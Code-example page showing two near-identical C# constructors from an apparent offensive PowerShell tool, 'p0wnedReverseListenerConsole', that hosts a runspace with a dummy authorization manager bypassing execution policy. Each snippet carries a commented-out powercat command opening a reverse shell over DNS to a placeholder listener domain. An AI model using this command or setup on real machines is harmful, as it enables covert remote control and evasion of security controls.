Ejemplo n.º 1
0
        //static string Domain = "myDNSCat2Listener.com";

        //static string PowerCat = "powercat -dns "+Domain+" -ep -rep";

        public p0wnedReverseListenerConsole()
        {
            InitialSessionState state = InitialSessionState.CreateDefault();

            state.AuthorizationManager = new System.Management.Automation.AuthorizationManager("Dummy");

            this.myHost     = new MyHost(this);
            this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost, state);
            this.myRunSpace.Open();

            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;

                PSCommand[] profileCommands = p0wnedReverse.HostUtilities.GetProfileCommands("p0wnedReverse");
                foreach (PSCommand command in profileCommands)
                {
                    this.currentPowerShell.Commands = command;
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
Ejemplo n.º 2
0
        //static string Domain = "myDNSCat2Listener.com";

        //static string PowerCat = "powercat -dns "+Domain+" -ep -rep";

        public p0wnedReverseListenerConsole()
        {

            InitialSessionState state = InitialSessionState.CreateDefault();
            state.AuthorizationManager = new System.Management.Automation.AuthorizationManager("Dummy");

            this.myHost = new MyHost(this);
            this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost, state);
            this.myRunSpace.Open();

            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;

                PSCommand[] profileCommands = p0wnedReverse.HostUtilities.GetProfileCommands("p0wnedReverse");
                foreach (PSCommand command in profileCommands)
                {
                    this.currentPowerShell.Commands = command;
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }